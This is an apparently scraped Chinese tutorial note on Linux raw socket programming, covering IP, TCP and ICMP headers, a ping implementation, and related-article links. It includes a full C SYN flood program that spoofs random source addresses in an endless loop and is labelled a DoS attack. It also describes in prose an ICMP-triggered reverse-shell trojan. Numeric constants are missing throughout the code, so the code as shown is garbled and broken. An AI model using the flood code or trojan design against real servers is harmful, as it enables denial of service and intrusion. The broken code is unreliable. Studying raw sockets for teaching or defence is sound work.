Linux基础(11)原始套接字
一边接收函数返回一边判断返回值时一定要把接收的优先级加()提高再去判断 例 if((sockfd = socket()) < 0)
问题: 如何实现SYN扫描器扫描端口 , 比如AB两个设备要进行连接 , A通过端口发一个SYN包给B,B在收到后返回一个ACK包确认连接 , 但是在不确定B端口号时
该如何进行连接 , 答: A给B的每一个端都发一个SYN包, 如果哪个有返回说明端口是开放的, TCP和UDP都无法发实现这样的连接方式 , 所以要使用原始套接字
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
struct iphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u8 ihl:,
version:;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u8 version:,
ihl:;
#else
#error "Please fix <asm/byteorder.h>"
#endif
__u8 tos;
__u16 tot_len;
__u16 id;
__u16 frag_off;
__u8 ttl;
__u8 protocol;
__u16 check;
__u32 saddr;
__u32 daddr;
/*The options start here. */
};
struct tcphdr {
__be16 source;
__be16 dest;
__be32 seq;
__be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
__u16 res1:4,
doff:4,
fin:1,
syn:1,
rst:1,
psh:1,
ack:1,
urg:1,
ece:1,
cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
__u16 doff:4,
res1:4,
cwr:1,
ece:1,
urg:1,
ack:1,
psh:1,
rst:1,
syn:1,
fin:1;
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
__be16 window;
__sum16 check;
__be16 urg_ptr;
};
struct
hostent{
char
* h_name;
char
** h_aliases;
short
h_addrtype;
short
h_length;
char
** h_addr_list;
#define h_addr h_addr_list[0];
};
gethostbyname: https://blog.csdn.net/daiyudong2020/article/details/51946080
1.套接字: 使用内核提供的默认协议包
内核通过int socket( int af, int type, int protocol); 第三参数来决定要使用什么协议 , 第二参数是决定套接字的类型,SOCK_STREAM或SOCK_DGRAM等类型
而SOCK_STREAM默认是使用TCP协议 , 所以第三参数可以为0 默认使用TCP每个协议都一个协议对象 , 协议对象的结构:
struct socket {
socket_state state;
kmemcheck_bitfield_begin(type);
short type;
kmemcheck_bitfield_end(type);
unsigned long flags;
struct socket_wq __rcu *wq;
struct file *file;
struct sock *sk;
const struct proto_ops *ops; //存放函数指针,例如*bind() *connect()等socket方法 , 针对不同的协议,其方法的实现也不同
};
2.原始套接字: 自行选择协议包 所有的原始套接字要使用root权限运行 , 原始套接字最重要的不是其编程方式, 是他的编程协议
ls -al 查看全部文件的权限 , ls -l filename 查看指定文件或程序的权限
linux在root权限下使用 chown root:root [file name] 进行修改文件的拥有者 , chmod u+s [file name] 文件可以在普通用户下临时提权运行
socket( int af, int type, int protocol);要使用原始套接字第二参数要选SOCK_RAW
3.套接字选项 : 设置选项setsockopt(struct socket *sock, int level, int optname,char *optval, unsigned int optlen) 获取选项getsockopt
可以对socket进行更深入的操作比如开启广播和组播的开关等...level 和 optname是父子关系两个组合使用, optval 是指optname的状态
比如level = SOL_SOCKET 有设置广播开关 optname = SO_BROADCAST ,optval = 1开启 \ 0关闭 更能设置套接字的缓冲区及大小等操作
具体使用看前述的 (05)笔记
MAC ----> IP ----->TCP/UDP/ICMP------>DATA TCP等,都是基于IP , 所以IP可以控制其本身及以上的报文
MAC最底层 ,TCP/UDP层属于IP层的数据包, 如图 , 如果不打开IP层我们只能控制data层 但是我们打开了IP层可以通过IP层来控制TCP层协议和data层数据
如果开启了IPPROTO_IP选项里的IP_HDRINCL, 那么IP层及IP层往上的数据和报文要自行组装了
ip首部 : https://www.cnblogs.com/lancidie/archive/2013/05/16/3082378.html https://www.cnblogs.com/red-code/p/7132023.html
4.如何学习某一种协议 ,
静态的学习: 分析协议的结构, 比如ICMP 属于IP 的一部分和TCP一个级别 还有ICMP的组成的结构有那些作用和怎么设置
动态的学习: 通过抓wireshak等抓包工具, 抓一个包, 分析其发送和返回的数据是什么类型type 及数据等等
例子: dos拒绝访问攻击, 通过大量的端口扫描(不同的ip 不断的对目标端口发送SYN包)让被攻击的服务器过载,从而拒绝用户的访问
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h> //我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char** argv){
int skfd;
struct sockaddr_in target;
struct hostent *host;
const int on=;
unsigned short srcport; if(argc!=)
{
printf("Usage:%s target dstport srcport\n",argv[]);
exit();
} //DNS协议解析
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(argv[])); if(inet_aton(argv[],&target.sin_addr)==)
{
host=gethostbyname(argv[]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit();
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[]);
} //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
if(>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit();
} //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
if(>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit();
} //因为只有root用户才可以play with raw socket :)
setuid(getpid()); srcport = atoi(argv[]);
attack(skfd,&target,srcport);
} //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
char buf[]={};
struct ip *ip;
struct tcphdr *tcp;
int ip_len; //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
//开始填充IP首部
ip=(struct ip*)buf; ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>;
ip->ip_tos = ;
ip->ip_len = htons(ip_len);
ip->ip_id=;
ip->ip_off=;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=;
ip->ip_dst=target->sin_addr; //开始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source = htons(srcport);
tcp->dest = target->sin_port;
tcp->seq = random();
tcp->doff = ;
tcp->syn = ;
tcp->check = ; while(){
//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
ip->ip_src.s_addr = random();
tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
sendto(skfd,buf,ip_len,,(struct sockaddr*)target,sizeof(struct sockaddr_in));
}
} unsigned short check_sum(unsigned short *addr,int len){
register int nleft=len;
register int sum=;
register short *w=addr;
short answer=; while(nleft>)
{
sum+=*w++;
nleft-=;
}
if(nleft==)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
} sum=(sum>>)+(sum&0xffff);
sum+=(sum>>);
answer=~sum;
return(answer);
}
dos
dos洪水攻击的实现是 , 利用TCP协议的三次握手原理 自己组一个IP头和TCP头,然后发送SYN包,且不接收ACK包 , 让目标服务器一直处于等待第三次握手状态
让目标服务器一直消耗端口资源
5.ICMP协议 , ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP的结构及其值: https://blog.csdn.net/baidu_37964071/article/details/80514340
struct icmphdr { unsigned char icmp_type; //消息类型
unsigned char icmp_code; //代码
unsigned short icmp_checksum; //校验和
unsigned short icmp_id; //ID号
unsigned short icmp_sequence; //序列号
unsigned long icmp_TImestamp; //时间戳
} ICMP_HDR,*PICMP_HDR;
ICMP报文格式 https://network.51cto.com/art/201905/597141.htm
icmp校验和的计算 https://blog.csdn.net/zhj082/article/details/80518322
如上图, 通过wireshaak抓了ping包的数据 , 和ICMP协议的选项一 一对应, 更可以通过ttl分析出目标及源的操作系统
ICMP协议可以发送什么就返回什么 ,ping的实现也是基于ICMP协议
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h> #define PACKET_SIZE 4096
#define MAX_WAIT_TIME 5
#define MAX_NO_PACKETS 4
#define DATA_LEN 56 char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE]; int nsend=,nreceived=;
struct timeval tvrecv; struct sockaddr_in from; void tv_sub(struct timeval *out,struct timeval *in)
{
if( (out->tv_usec-=in->tv_usec)<)
{
--out->tv_sec;
out->tv_usec+=;
}
out->tv_sec-=in->tv_sec;
} void statistics(int signo)
{
printf("\n--------------------PING statistics-------------------\n");
printf("%d packets transmitted, %d received , %%%f lost\n",nsend,nreceived,(nsend-nreceived)*1.0/nsend*); exit();
} //crc32的校验计算方法
unsigned short cal_chksum(unsigned short *addr,int len)
{
int nleft=len;
int sum=;
unsigned short *w=addr;
unsigned short answer=; while(nleft>)
{
sum+=*w++;
nleft-=;
} if( nleft==)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
} sum=(sum>>)+(sum&0xffff);
sum+=(sum>>);
answer=~sum; return answer;
} /*****************************************************************************
函 数 名 : pack
功能描述 : 配置封装icmp包
输入参数 : int pack_no ,int pid
输出参数 : 无
返 回 值 : int
调用函数 :
被调函数 : 修改历史 :
1.日 期 : 2019年12月11日 星期三
作 者 : ljf
修改内容 : 新生成函数 *****************************************************************************/
int pack( int pack_no ,int pid )
{
int i , packsize;
struct icmp* m_icmp;
struct timeval* tval; m_icmp = (struct icmp*)sendpacket; //指向并设置全局的icmp包
m_icmp->icmp_type = ICMP_ECHO; //类型 :8 回应请求
m_icmp->icmp_code = ; //代码
m_icmp->icmp_cksum = ; //校验和
m_icmp->icmp_seq = pack_no; //序号,代表第几个包
m_icmp->icmp_id = pid; //id ,接收时确定哪个进程接收
packsize = +DATA_LEN; //8:timeval + data_len
tval = (struct timeval*)m_icmp->icmp_data;
gettimeofday(tval ,NULL); //把当前时间填充到icmp_data里 m_icmp->icmp_cksum = cal_chksum((unsigned short*)m_icmp , packsize);//校验和
return packsize;
} /*****************************************************************************
函 数 名 : send_packet
功能描述 : 发送封装好的icmp包
输入参数 : int sockfd, int pid , struct sockaddr_in sockaddr
输出参数 : 无
返 回 值 : void
调用函数 :
被调函数 : 修改历史 :
1.日 期 : 2019年12月11日 星期三
作 者 : ljf
修改内容 : 新生成函数 *****************************************************************************/
void send_packet( int sockfd, int pid , struct sockaddr_in dest_addr )
{
int packetsize;
while(nsend<MAX_NO_PACKETS) //发送次数
{
nsend++; //也可用作icmp的序号
packetsize = pack(nsend,pid);
if ( sendto(sockfd,sendpacket,packetsize,,(struct sockaddr*)&dest_addr,sizeof(dest_addr)) < )
{
perror("sendto");
continue;
}
sleep();
}
} /*****************************************************************************
函 数 名 : unpack
功能描述 : 解封icmp包
输入参数 : char* buf,int len ,int pid
输出参数 : 无
返 回 值 : int
调用函数 :
被调函数 : 修改历史 :
1.日 期 : 2019年12月11日 星期三
作 者 : ljf
修改内容 : 新生成函数 *****************************************************************************/
int unpack(char *buf,int len,int pid)
{
int i,iphdrlen;
struct ip *ip;
struct icmp *icmp;
struct timeval *tvsend;
double rtt; ip=(struct ip *)buf;
iphdrlen=ip->ip_hl<<; icmp=(struct icmp *)(buf+iphdrlen); len-=iphdrlen;
if( len<)
{
printf("ICMP packets\'s length is less than 8\n");
return -;
} if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )
{
tvsend=(struct timeval *)icmp->icmp_data;
tv_sub(&tvrecv,tvsend);
rtt=tvrecv.tv_sec*+tvrecv.tv_usec/;
printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n",len,inet_ntoa(from.sin_addr),icmp->icmp_seq, ip->ip_ttl,rtt);
}
else
return -;
} /*****************************************************************************
函 数 名 : recv_packet
功能描述 : 接收回应的icmp包
输入参数 : int sockfd, int pid
输出参数 : 无
返 回 值 : void
调用函数 :
被调函数 : 修改历史 :
1.日 期 : 2019年12月11日 星期三
作 者 : ljf
修改内容 : 新生成函数 *****************************************************************************/
void recv_packet(int sockfd,int pid)
{
int n,fromlen;
extern int errno;
signal(SIGALRM,statistics);
fromlen=sizeof(from);
while( nreceived<nsend)
{
alarm(MAX_WAIT_TIME);
if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),,(struct sockaddr *)&from,&fromlen)) <)
{
if(errno==EINTR)continue;
perror("recvfrom error");
continue;
}
gettimeofday(&tvrecv,NULL);
if(unpack(recvpacket,n,pid)==-)
continue;
nreceived++;
}
} /*****************************************************************************
函 数 名 : main
功能描述 : main
输入参数 : int argc , char *argv[]
输出参数 : 无
返 回 值 : int
调用函数 :
被调函数 : 修改历史 :
1.日 期 : 2019年12月8日 星期日
作 者 : ljf
修改内容 : 新生成函数 *****************************************************************************/
int main( int argc , char *argv[] )
{
if ( argc < )
{
perror("argv");
exit();
} int sockfd; //绑定协议
struct sockaddr_in dest_addr; //目标IP
pid_t pid; //指定当前程序接收返回的icmp包
struct hostent *host; //用于保存目标IP,主机名和其别名
int waittime = MAX_WAIT_TIME; //超时时间
int bufsize = *; //改变缓冲区大小
unsigned long inaddr = ; //转换IP用 bzero(&dest_addr,sizeof(dest_addr)); if ( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < )
{
perror("socket");
exit();
} setuid(getuid()); //确保在root权限下运行 setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&bufsize,sizeof(bufsize)); //改变接收缓冲区的大小 //分配目标配置,开始进行和sockfd绑定
dest_addr.sin_family = AF_INET;
if ((inaddr = inet_addr(argv[])) == INADDR_NONE ) //点分十进制的IP转换成长整型接收并判断是否有效
{
if ((host = gethostbyname(argv[])) == NULL) //解析域名,获得目标的IP并保存
{
perror("gethostbyname");
exit();
}
//把获取到的目标host->h_addr_list的第一个[0]赋值给sockaddr.sin_addr
memcpy((char*)&(dest_addr.sin_addr),host->h_addr,host->h_length);
}
else{
//到了这里说明输入的是一个有效的IP , 将转换成长整型的argv[1]赋值给dest_addr.sin_addr
memcpy((char*)&(dest_addr.sin_addr),(char*)&inaddr,sizeof(inaddr));
}
printf("ping %s: %s , ICMP bytes: %d\n", argv[],inet_ntoa(dest_addr.sin_addr),DATA_LEN); pid = getpid(); //获得当前进程用于让返回的ICMP包返回给当前进程 send_packet(sockfd,pid,dest_addr);
recv_packet(sockfd,pid);
statistics(SIGALRM);
close(sockfd);
return ;
}
MyIcmp_ping
ICMP反弹shell木马程序, 在目标服务器里开启了一个监听icmp的后台程序(), (icmp是广播发送给所有程序的,所以不能做到拦截) 接收了data后判断其是否有暗号,如果接收的data有暗号则利用和暗号一起发送过来的源客户端ip和端口主动开启并建立TCP连接,通过dup2()重定向shell的默认输入输出句柄(向建立连接的源客户端发送和接收shell)
总结: 原始套接字是基于内核提供的协议对象(比如 IP ,TCP ,ICMP协议) , 使用setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on(=1),sizeof(on)) , 可以自行手动构造IP及以上的报文 , 如果不需要手动构造IP报文, 可以不开启IP_HDRINCL, 只需创建并填充IP之上的协议对象(比如ICMP)和data即可 , 填充好协议对象后通过sendto对目标进行发送(协议和data封装在一起的)数据包 , 如需要接收data , 则可以通过recvfrom接收后 创建和发送端对等的协议对象,并对数据包里的data进行操作
原始套接字最重要的还是对协议的理解及使用
Linux基础(11)原始套接字的更多相关文章
- Linux网络编程——原始套接字实例:MAC 头部报文分析
通过<Linux网络编程——原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 M ...
- Linux网络编程——原始套接字编程
原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据.区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有 ...
- LINUX 网络编程 原始套接字
一 原始套接字 原始套接字(SOCK_RAW)是一种不同于SOCK_STREAM.SOCK_DGRAM的套接字,它实现于系统核心.然而,原始套接字能做什么呢?首先来说,普通的套接字无法处理ICMP.I ...
- Linux网络编程——原始套接字能干什么?
通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式套接字(SOCK ...
- Linux Socket 原始套接字编程
对于linux网络编程来说,可以简单的分为标准套接字编程和原始套接字编程,标准套接字主要就是应用层数据的传输,原始套接字则是可以获得不止是应用层的其他层不同协议的数据.与标准套接字相区别的主要是要开发 ...
- Linux网络编程:原始套接字简介
Linux网络编程:原始套接字编程 一.原始套接字用途 通常情况下程序员接所接触到的套接字(Socket)为两类: 流式套接字(SOCK_STREAM):一种面向连接的Socket,针对于面向连接的T ...
- 005.TCP--拼接TCP头部IP头部,实现TCP三次握手的第一步(Linux,原始套接字)
一.目的: 自己拼接IP头,TCP头,计算效验和,将生成的报文用原始套接字发送出去. 若使用tcpdump能监听有对方服务器的包回应,则证明TCP报文是正确的! 二.数据结构: TCP首部结构图: s ...
- 关于linux 原始套接字编程
关于linux 网络编程最权威的书是<<unix网络编程>>,但是看这本书时有些内容你可能理解的不是很深刻,或者说只知其然而不知其所以然,那么如果你想搞懂的话那么我建议你可以看 ...
- Linux原始套接字实现分析---转
http://blog.chinaunix.net/uid-27074062-id-3388166.html 本文从IPV4协议栈原始套接字的分类入手,详细介绍了链路层和网络层原始套接字的特点及其内核 ...
随机推荐
- npkill 一个方便的npm 包清理工具
npm 包很好用,但是占用空间太多了,npkill 提供了一个方便的工具,可以帮助我们查找安装的npm 包,以及进行清理 安装 npm install -g npkill 简单使用 命令 npkill ...
- python3 安装 pillow报错
前言 最近要使用pillow库, 来训练验证码模型, 但是死活都安装不上 环境 docker中安装, python3 尝试安装 pip install pillow easy_install Pill ...
- Java实现PV操作 | 读者与写者(在三种情况下进行讨论)
注 :本文应结合[天勤笔记]进行学习. 1.读者优先 设置rmutex信号量来对readcount变量进行互斥访问.mutex信号量对写者与读者进行同步. static syn rmutex=new ...
- pandas批量读取带有日期的文件夹简单操作
工作中碰到了这样一个数据处理的问题,想让你把某个文件夹下的子文件夹中的excel表级联成为1张表,用excel来做会很浪费时间并且很劳累,这时候我们就可以用pandas来加大工作效率,只需要半个小时就 ...
- mybatis 根据多个id查询数据 foreach标签
//根据设备多个id获取设备信息 public List<Devices> getDevicesAll(@Param("devicesIds") String[] de ...
- 第9期《jmeter接口自动化实战》零基础入门!
2019年 第9期<jmeter接口自动化实战>课程,12月6号开学! 上课方式:QQ群视频在线教学 本期上课时间:12月6号-1月18号,每周五.周六晚上20:00-22:00 报名费: ...
- 【转】MySQL的安装与配置——详细教程-window系统下
https://www.cnblogs.com/winton-nfs/p/11524007.html 免安装版的Mysql MySQL关是一种关系数据库管理系统,所使用的 SQL 语言是用于访问数据库 ...
- CentOS7 升级 cmake
编译cmake文件时,报错:CMake 3.0.0 or higher is required. You are running version 2.8.12.2 很明显,这是 cmake 版本过低导 ...
- JS项目快速压缩(windows平台)
问题 当下JS项目都有node_modules,从而项目文件多,容量大. 如何快速压缩一个JS项目? 方法 首先对JS项目安装生产环境的依赖npm install --production. 这时不要 ...
- 面试突击(七)——JVM如何加载Java字节码信息的?
声明:本文图片均来自网络,我只是进行了选择,利用一图胜千言的力量来帮助自己快速的回忆相关的知识点 1:先看一下Java类文件的转换过程,如下所示,Java字节码文件是通过类加载子系统来放入JVM的内存 ...